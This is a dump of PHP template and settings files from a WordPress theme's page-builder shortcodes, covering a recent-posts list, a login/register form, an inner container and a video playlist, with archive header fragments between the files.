									<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                        <a class="penci-image-holder penci-lazy<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
											echo '';
										} else {
											echo ' small-fix-size';
										} ?>" rel="bookmark"
                                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                                           href="<?php the_permalink(); ?>"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
									<?php } else { ?>
                                        <a class="penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
											echo '';
										} else {
											echo ' small-fix-size';
										} ?>" rel="bookmark"
                                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                                           href="<?php the_permalink(); ?>"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
									<?php } ?>

									<?php if ( $icon ): ?>
										<?php if ( has_post_format( 'video' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'audio' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'link' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'quote' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'gallery' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
										<?php endif; ?>
									<?php endif; ?>
                                </div>
							<?php endif; ?>
                            <div class="side-item-text">
                                <h4 class="side-title-post">
                                    <a href="<?php the_permalink() ?>" rel="bookmark"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
										<?php
										if ( ! $title_length || ! is_numeric( $title_length ) ) {
											if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
											} else {
												the_title();
											}
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
										}
										?>
                                    </a>
                                </h4>
								<?php if ( ! $postdate || $showauthor || $showcomment || $showviews ): ?>
                                    <div class="grid-post-box-meta penci-side-item-meta">
										<?php if ( $showauthor ): ?>
                                            <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        class="url fn n"
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $postdate ): ?>
                                            <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( $showcomment ): ?>
                                            <span class="side-item-meta side-wcomments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php if ( $showviews ): ?>
                                            <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </li>
					<?php $num ++; endwhile; ?>
            </ul>
			<?php
			wp_reset_postdata();
			?>
        </div>
    </div>
<?php

$id_recent_posts  = '#' . $block_id;
$id_recent_posts2 = '#' . $block_id;
$css_custom       = Penci_Vc_Helper::get_heading_block_css( $id_recent_posts, $atts );

if ( 'horizontal' == $penci_size ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed .penci-image-holder:before{ padding-top: 66.6667%; }';
}
if ( 'square' == $penci_size ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed .penci-image-holder:before{ padding-top: 100%; }';
}
if ( 'vertical' == $penci_size ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed .penci-image-holder:before{ padding-top: 135.4%; }';
}
if ( 'custom' == $penci_size && $penci_img_ratio ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_recent_posts . ' ul.side-newsfeed .penci-image-holder:before{ padding-top: {{VALUE}}%; }', $penci_img_ratio );
}
if ( $post_border_color ) {
	$css_custom .= $id_recent_posts2 . ' ul.side-newsfeed li{ border-color: ' . esc_attr( $post_border_color ) . ' !important;}';
}
if ( $ptitle_color ) {
	$css_custom .= $id_recent_posts2 . ' ul.side-newsfeed li .side-item .side-item-text h4 a,';
	$css_custom .= $id_recent_posts2 . ' ul.side-newsfeed li .side-item .side-item-text h4{ color: ' . esc_attr( $ptitle_color ) . ' !important;}';
}
if ( $ptitle_hcolor ) {
	$css_custom .= $id_recent_posts2 . ' ul.side-newsfeed li .side-item .side-item-text h4 a:hover{ color: ' . esc_attr( $ptitle_hcolor ) . ' !important;}';
}
if ( $showborder ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed:not(.penci-feed-2columns) li{ border-bottom: none; padding-bottom: 0 !important; }';
}
if ( $imgwidth ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed li .penci-image-holder.small-fix-size{ width: ' . $imgwidth . '; }';
}
if ( $row_gap ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_recent_posts . ' ul.side-newsfeed:not(.penci-feed-2columns) li{ margin-bottom: {{VALUE}}px; padding-bottom: {{VALUE}}px; }', $row_gap );
	$css_custom .= penci_extract_md_responsive_fsize( $id_recent_posts . ' ul.penci-feed-2columns li{ margin-bottom: {{VALUE}}px;}', $row_gap );
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $ptitle_fsize,
	'font_style' => 'yes' == $use_ptitle_typo ? $ptitle_typo : '',
	'template'   => "{$id_recent_posts} ul.side-newsfeed li .side-item .side-item-text h4 a,{$id_recent_posts} ul.side-newsfeed li .side-item .side-item-text h4" . '{ %s }',
) );

if ( $pmeta_color ) {
	$css_custom .= $id_recent_posts . ' ul.side-newsfeed li .side-item .side-item-text .side-item-meta { color: ' . esc_attr( $pmeta_color ) . ' !important;}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $pmeta_fsize,
	'font_style' => 'yes' == $use_pmeta_typo ? $pmeta_typo : '',
	'template'   => "{$id_recent_posts} ul.side-newsfeed li .side-item .side-item-text .side-item-meta" . '{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_recent_posts, $responsive_spacing );
}

$css_custom .= Penci_Vc_Helper::get_bookmark_icon_css( $id_recent_posts, $atts );

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\tMӼ    2  inc/js_composer/shortcodes/login_form/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_login_form",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/login_form/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Login/Register Form', 'soledad' ),
	'description'   => 'Login/Register Form Block',
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Choose Form Type', 'soledad' ),
				'param_name' => 'form_style',
				'description' => esc_html__( 'Please note that when a user is logged in, the registration form will be hidden. And if you select to show "Register" form, you need to go to Dashboard > Settings > General > on "Membership" select "Anyone can register" to make the Register form displays.', 'soledad' ),
				'std'        => '',
				'value'      => array(
					esc_html__( 'Login', 'soledad' )    => 'login',
					esc_html__( 'Register', 'soledad' ) => 'register',
				)
			)
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'color_genral_css',
				'heading'          => esc_html__( 'Form colors', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Text color', 'soledad' ),
				'param_name'       => 'form_text_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Input Text Color', 'soledad' ),
				'param_name'       => 'form_input_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Input Placeholder Color', 'soledad' ),
				'param_name'       => 'form_place_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Input Border Color', 'soledad' ),
				'param_name'       => 'form_inputborder_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Link Color', 'soledad' ),
				'param_name'       => 'form_link_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
				'param_name'       => 'form_link_hcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),

			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button Text Color', 'soledad' ),
				'param_name'       => 'form_button_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button Background Color', 'soledad' ),
				'param_name'       => 'form_button_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button Text Hover Color', 'soledad' ),
				'param_name'       => 'form_button_hcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button Hover Background Color', 'soledad' ),
				'param_name'       => 'form_button_hbgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Login & Register Links Color', 'soledad' ),
				'param_name'       => 'ploginregis_link',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\F    2  inc/js_composer/shortcodes/login_form/frontend.phpnu [        <?php
$output     = $penci_block_width = $el_class = $css_animation = $css = '';
$form_style = $dis_login_here = $lostpassword = $register = $redirect_url = '';

$form_text_color   = $form_input_color = $form_place_color = $form_inputborder_color = $ploginregis_link = '';
$form_link_color   = $form_link_hcolor = '';
$form_button_color = $form_button_bgcolor = $form_button_hcolor = $form_button_hbgcolor = $responsive_spacing= '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );
$css_class       = 'penci-block-vc penci-login-register';
$css_class       .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id        = Penci_Vc_Helper::get_unique_id_block( 'login_register' );

if( ! is_user_logged_in() || ( $form_style != 'register' && is_user_logged_in() ) ){
?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
		<div class="penci-block_content">
			<div class="penci-login-wrap clearfix<?php echo( 'login' != $form_style ? ' hidden' : '' ); ?>">
				<?php
				if ( ! is_user_logged_in() ) {
					Penci_Vc_Helper::_login_form();
				} else {
					$current_user = wp_get_current_user();
					?>
					<div class="penci-user-logged-in">
						<div class="penci-login-header">
							<div class="penci-login-avatar">
								<?php echo get_avatar( $current_user->ID, 85 ); ?>
							</div>
							<p>
								<span class="penci-text-hello"><?php echo penci_get_setting( 'penci_trans_hello_text' ); ?></span>
								<span class="penci-display_name"><?php echo $current_user->display_name; ?></span>
							</p>
						</div>
						<div class="penci-user-action-links">
							<?php
							if ( class_exists( 'bbpress' ) ) {
								$profile_url = bbp_get_user_profile_url( bbp_get_current_user_id() );
							} else {
								$profile_url = get_edit_user_link();
							}
							?>
							<a class="penci-button penci-button-ptofile" href="<?php echo $profile_url; ?>"><?php penci_fawesome_icon('far fa-user-circle'); ?> <?php echo penci_get_setting( 'penci_trans_profile_text' ); ?></a>
							<a class="penci-button penci-button-logout" href="<?php echo wp_logout_url( $current_url ); ?>"><?php penci_fawesome_icon('fas fa-sign-out-alt'); ?> <?php echo penci_get_setting( 'penci_trans_logout_text' ); ?></a>
						</div>
					</div>
					<?php
				}
				?>
			</div>
			<?php if( ! is_user_logged_in() && get_option( 'users_can_register' ) ){ ?>
			<div class="penci-register-wrap clearfix<?php echo( 'register' != $form_style ? ' hidden' : '' ); ?>">
				<div class="penci-register-container">
					<form name="form" id="penci-registration-form" class="penci-registration-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate">
						<input type="hidden" name="_wpnonce" class="penci_form_nonce" value="<?php echo wp_create_nonce( 'register' ); ?>">
						<p class="register-input">
							<input class="penci_first_name penci-input" name="penci_first_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_first_name' ); ?>"/>
						</p>
						<p class="register-input">
							<input class="penci_last_name penci-input" name="penci_last_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_last_name' ); ?>"/>
						</p>
						<p class="register-input">
							<input class="penci_user_name penci-input" name="penci_user_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_name' ); ?>"/>
						</p>
						<p class="register-input">
							<input class="penci_user_email penci-input" name="penci_user_email" type="email" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_email' ); ?>"/>
						</p>
						<p class="register-input">
							<input class="penci_user_pass penci-input" name="penci_user_pass" type="password" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_pass' ); ?>"/>
						</p>
						<p class="register-input">
							<input class="penci_user_pass_confirm penci-input" name="penci_user_pass_confirm" type="password" placeholder="<?php echo penci_get_setting( 'penci_pregister_pass_confirm' ); ?>"/>
						</p>
						<?php do_action( 'register_form' ); ?>
						<p class="register-input">
							<input type="submit" name="penci_submit" class="button" value="<?php echo penci_get_setting( 'penci_pregister_button_submit' ); ?>"/>
						</p>
					</form>
					<?php
					echo '<div class="penci-loginform-extra"><a class="penci-user-login-here" href="' . esc_url( wp_login_url() ) . '">' . penci_get_setting( 'penci_pregister_label_registration' ) . '</a></div>';
					?>
				</div>
			</div>
			<?php } ?>
			<div class="penci-loading-icon"><?php penci_fawesome_icon('fas fa-spinner fa-pulse fa-3x fa-fw'); ?></div>
		</div>
	</div>
<?php
}

$id_login_form = '#' . $block_id;
$id_login_form2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom    = Penci_Vc_Helper::get_heading_block_css( $id_login_form, $atts );

if ( $form_text_color ) {
	$css_custom .= $id_login_form . ' form { color:' . esc_attr( $form_text_color ) . ' }';
}
if ( $form_input_color ) {
	$css_custom .= $id_login_form . ' form .penci-input{ color:' . esc_attr( $form_input_color ) . ' }';
}

if ( $form_place_color ) {
	$css_custom .= $id_login_form2 . ' form input::-webkit-input-placeholder{ color:' . esc_attr( $form_place_color ) . ' !important; }';
	$css_custom .= $id_login_form2 . ' form input:-moz-placeholder{ color:' . esc_attr( $form_place_color ) . ' !important; }';
	$css_custom .= $id_login_form2 . ' form input::-ms-input-placeholder{ color:' . esc_attr( $form_place_color ) . ' !important; }';
	$css_custom .= $id_login_form2 . ' form input::placeholder{ color:' . esc_attr( $form_place_color ) . ' !important; opacity: 1; }';
}

if ( $form_inputborder_color ) {
	$css_custom .= $id_login_form2 . ' form .penci-input{ border-color:' . esc_attr( $form_inputborder_color ) . ' }';
}
if ( $form_link_color ) {
	$css_custom .= $id_login_form2 . ' .penci-register-wrap a,';
	$css_custom .= $id_login_form2 . ' .penci-login-wrap a{ color:' . esc_attr( $form_link_color ) . ' }';
}
if ( $form_link_hcolor ) {
	$css_custom .= $id_login_form2 . ' .penci-register-wrap a:hover,';
	$css_custom .= $id_login_form2 . ' .penci-login-wrap a:hover{ color:' . esc_attr( $form_link_hcolor ) . ' }';
}

if ( $form_button_color ) {
	$css_custom .= $id_login_form2 . '.penci-login-register input[type="submit"], '. $id_login_form .' .penci-user-logged-in .penci-user-action-links a{ color:' . esc_attr( $form_link_color ) . ' }';
}
if ( $form_button_bgcolor ) {
	$css_custom .= $id_login_form2 . '.penci-login-register input[type="submit"], '. $id_login_form .' .penci-user-logged-in .penci-user-action-links a{ border-color:' . esc_attr( $form_button_bgcolor ) . ';background-color:' . esc_attr( $form_button_bgcolor ) . ' }';
}
if ( $form_button_hcolor ) {
	$css_custom .= $id_login_form2 . '.penci-login-register input[type="submit"]:hover, '. $id_login_form .' .penci-user-logged-in .penci-user-action-links a:hover{ color:' . esc_attr( $form_button_hcolor ) . ' }';
}
if ( $form_button_hbgcolor ) {
	$css_custom .= $id_login_form2 . '.penci-login-register input[type="submit"]:hover, '. $id_login_form .' .penci-user-logged-in .penci-user-action-links a:hover{ border-color:' . esc_attr( $form_button_hbgcolor ) . ';background-color:' . esc_attr( $form_button_hbgcolor ) . ' }';
}
if ( $ploginregis_link ) {
	$css_custom .= $id_login_form2 . ' .penci-loginform-extra a{ color:' . esc_attr( $ploginregis_link ) . '}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_login_form, $responsive_spacing );
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\s9    7  inc/js_composer/shortcodes/container_inner/settings.phpnu [        <?php
vc_map( array(
	'base'                    => 'penci_container_inner',
	'icon'                    => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'                => penci_get_theme_name('Soledad'),
	'html_template'           => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/penci_container_inner/frontend.php',
	'name'                    => penci_get_theme_name('Penci').' '.__( 'Container', 'soledad' ),
	'description'             => esc_html__( 'Place content elements inside the container', 'js_composer' ),
	'weight'                  => 1000,
	'is_container'            => true,
	'show_settings_on_create' => false,
	'as_child'                => array( 'only' => 'penci_column_inner' ),
	'params'                  => array(
		array(
			'type'       => 'hidden',
			'param_name' => 'el_width',
			'std'        => 'w1080',
			'value'      => 'w1080',
		),
		array(
			'type'       => 'hidden',
			'param_name' => 'container_layout',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Disable sticky content & sidebar.', 'soledad' ),
			'param_name' => 'el_disable_sticky',
			'value'      => array( __( 'Yes', 'soledad' ) => 'yes' ),
		),
		array(
			'type'        => 'el_id',
			'heading'     => __( 'Row ID', 'soledad' ),
			'param_name'  => 'el_id',
			'description' => sprintf( __( 'Enter optional row ID. Make sure it is unique, and it is valid as w3c specification: %s (Must not have spaces)', 'soledad' ), '<a target="_blank" href="http://www.w3schools.com/tags/att_global_id.asp">' . __( 'link', 'soledad' ) . '</a>' ),
		),
	),
	'js_view'          => 'VcPenciContainerView',
	'default_content'  => '[penci_column_inner width="1/3"][/penci_column_inner][penci_column_inner width="2/3"][/penci_column_inner]',
) );
PK     N\Å     7  inc/js_composer/shortcodes/container_inner/frontend.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_class
 * @var $css
 * @var $el_id
 * @var $equal_height
 * @var $content_placement
 * @var $content - shortcode content
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Row_Inner $this
 */
$el_class = $equal_height = $content_placement = $css = $el_id = '';
$disable_element = '';
$output = $after_output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$el_class = $this->getExtraClass( $el_class );
$css_classes = array(
	'vc_row',
	'wpb_row',
	// deprecated
	'vc_inner',
	'vc_row-fluid',
	$el_class,
	vc_shortcode_custom_css_class( $css ),
);
if ( 'yes' === $disable_element ) {
	if ( vc_is_page_editable() ) {
		$css_classes[] = 'vc_hidden-lg vc_hidden-xs vc_hidden-sm vc_hidden-md';
	} else {
		return '';
	}
}

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) ) {
	$css_classes[] = 'vc_row-has-fill';
}

if ( ! empty( $atts['gap'] ) ) {
	$css_classes[] = 'vc_column-gap-' . $atts['gap'];
}

if ( ! empty( $equal_height ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-equal-height';
}

if ( ! empty( $atts['rtl_reverse'] ) ) {
	$css_classes[] = 'vc_rtl-columns-reverse';
}

if ( ! empty( $content_placement ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-content-' . $content_placement;
}

if ( ! empty( $flex_row ) ) {
	$css_classes[] = 'vc_row-flex';
}

$wrapper_attributes = array();
// build attributes for wrapper
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}

$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( array_unique( $css_classes ) ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';

$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= $after_output;

// @codingStandardsIgnoreLine
echo $output;
PK     N\oz+  +  6  inc/js_composer/shortcodes/video_playlist/settings.phpnu [        <?php
$group_color   = 'Typo & Color';
$group_heading = 'Heading';

vc_map( array(
	'base'          => 'penci_video_playlist',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/video_playlist/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Video Playlist', 'soledad' ),
	'description'   => __( 'Video playlist block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Video Type', 'soledad' ),
			'param_name' => 'video_type',
			'std'        => 'custom',
			'value'      => array(
				__( 'Custom Lists', 'soledad' )     => 'custom',
				__( 'Youtube Playlist', 'soledad' ) => 'youtube_playlist',
			),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Block Columns', 'soledad' ),
			'param_name' => 'penci_block_width',
			'std'        => 3,
			'value'      => array(
				__( '1 Column ( Small Container Width)', 'soledad' )    => '1',
				__( '2 Columns ( Medium Container Width )', 'soledad' ) => '2',
				__( '3 Columns ( Large Container Width )', 'soledad' )  => '3',
			),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => esc_html__( 'Maxiumum Playlist Items', 'soledad' ),
			'param_name' => 'yplaylist_limit',
			'std'        => '5',
			'dependency' => array( 'element' => 'video_type', 'value' => array( 'youtube_playlist' ) ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Youtube Playlist ID', 'soledad' ),
			'param_name' => 'yplaylist_id',
			'std'        => '',
			'dependency' => array( 'element' => 'video_type', 'value' => array( 'youtube_playlist' ) ),
		),
		array(
			'type'        => 'exploded_textarea',
			'heading'     => esc_html__( 'Videos List', 'soledad' ),
			'param_name'  => 'videos_list',
			'std'         => '',
			'dependency'  => array( 'element' => 'video_type', 'value' => array( 'custom' ) ),
			'description' => 'Enter each video url in a seprated line. Supports: YouTube and Vimeo videos only.<br><span style="color: red;font-weight: bold;">Note Important</span>: If  you use video come from youtube, please go to Customize > General > Extra Options > YouTube API Key and enter an api key.</span>'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide video duration', 'soledad' ),
			'param_name'       => 'hide_duration',
			'edit_field_class' => 'vc_col-sm-6',
			'value'            => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide video order number', 'soledad' ),
			'param_name'       => 'hide_order_number',
			'edit_field_class' => 'vc_col-sm-6',
			'value'            => 'no',
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Title Length for Video', 'soledad' ),
			'param_name' => 'video_title_length',
			'value'      => '10',
			'std'        => '10',
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Unique ID for Save & Clear Caching', 'soledad' ),
			'param_name' => 'block_id',
			'value'      => rand( 1000, 100000 ),
			'std'        => rand( 1000, 100000 ),
		),
	), array(
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Heading Title Style', 'soledad' ),
			'param_name' => 'heading_title_style',
			'std'        => '',
			'value'      => array(
				esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
				esc_html__( 'Style 1', 'soledad' )                      => 'style-1',
				esc_html__( 'Style 2', 'soledad' )                      => 'style-2',
				esc_html__( 'Style 3', 'soledad' )                      => 'style-3',
				esc_html__( 'Style 4', 'soledad' )                      => 'style-4',
				esc_html__( 'Style 5', 'soledad' )                      => 'style-5',
				esc_html__( 'Style 6', 'soledad' )                      => 'style-6',
				esc_html__( 'Style 7', 'soledad' )                      => 'style-7',
				esc_html__( 'Style 8', 'soledad' )                      => 'style-9',
				esc_html__( 'Style 9', 'soledad' )                      => 'style-8',
				esc_html__( 'Style 9', 'soledad' )                      => 'style-8',
				esc_html__( 'Style 10', 'soledad' )                     => 'style-10',
				esc_html__( 'Style 11', 'soledad' )                     => 'style-11',
				esc_html__( 'Style 12', 'soledad' )                     => 'style-12',
				esc_html__( 'Style 13', 'soledad' )                     => 'style-13',
				esc_html__( 'Style 14', 'soledad' )                     => 'style-14',
				esc_html__( 'Style 15', 'soledad' )                     => 'style-15',
				esc_html__( 'Style 16', 'soledad' )                     => 'style-16',
				esc_html__( 'Style 17', 'soledad' )                     => 'style-2 style-17',
				esc_html__( 'Style 18', 'soledad' )                     => 'style-18',
				esc_html__( 'Style 19', 'soledad' )                     => 'style-18 style-19',
				esc_html__( 'Style 20', 'soledad' )                     => 'style-18 style-20',
				esc_html__( 'Style Video List', 'soledad' )             => 'video_list',
				esc_html__( 'Style 21', 'soledad' )                     => 'style-21',
				esc_html__( 'Style 22', 'soledad' )                     => 'style-22',
				esc_html__( 'Style 23', 'soledad' )                     => 'style-23',
				esc_html__( 'Style 24', 'soledad' )                     => 'style-24',
				esc_html__( 'Style 25', 'soledad' )                     => 'style-25',
				esc_html__( 'Style 26', 'soledad' )                     => 'style-26',
				esc_html__( 'Style 27', 'soledad' )                     => 'style-27',
				esc_html__( 'Style 28', 'soledad' )                     => 'style-28',
			),
			'group'      => 'Heading',
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Heading Title', 'soledad' ),
			'param_name'  => 'heading',
			'value'       => '',
			'std'         => esc_html__( 'Block Title', 'soledad' ),
			'admin_label' => true,
			'description' => esc_html__( 'A title for this block, if you leave it blank the block will not have a title', 'soledad' ),
			'group'       => 'Heading',
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Title Url', 'soledad' ),
			'param_name'  => 'heading_title_link',
			'std'         => '',
			'description' => esc_html__( 'A custom url when the block title is clicked', 'soledad' ),
			'group'       => 'Heading',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Heading Align', 'soledad' ),
			'param_name' => 'heading_title_align',
			'std'        => '',
			'value'      => array(
				esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
				esc_html__( 'Left', 'soledad' )                         => 'pcalign-left',
				esc_html__( 'Center', 'soledad' )                       => 'pcalign-center',
				esc_html__( 'Right', 'soledad' )                        => 'pcalign-right',
			),
			'group'      => 'Heading',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => 'Align Icon on Style 15',
			'value'       => array(
				'Default( follow Customize )' => '',
				'Right'                       => 'pciconp-right',
				'Left'                        => 'pciconp-left',
			),
			'param_name'  => 'heading_icon_pos',
			'description' => '',
			'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
			'group'       => 'Heading',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => 'Custom Icon on Style 15',
			'value'       => array(
				'Default( follow Customize )' => '',
				'Arrow Right'                 => 'pcicon-right',
				'Arrow Left'                  => 'pcicon-left',
				'Arrow Down'                  => 'pcicon-down',
				'Arrow Up'                    => 'pcicon-up',
				'Star'                        => 'pcicon-star',
				'Bars'                        => 'pcicon-bars',
				'File'                        => 'pcicon-file',
				'Fire'                        => 'pcicon-fire',
				'Book'                        => 'pcicon-book',
			),
			'param_name'  => 'heading_icon',
			'description' => '',
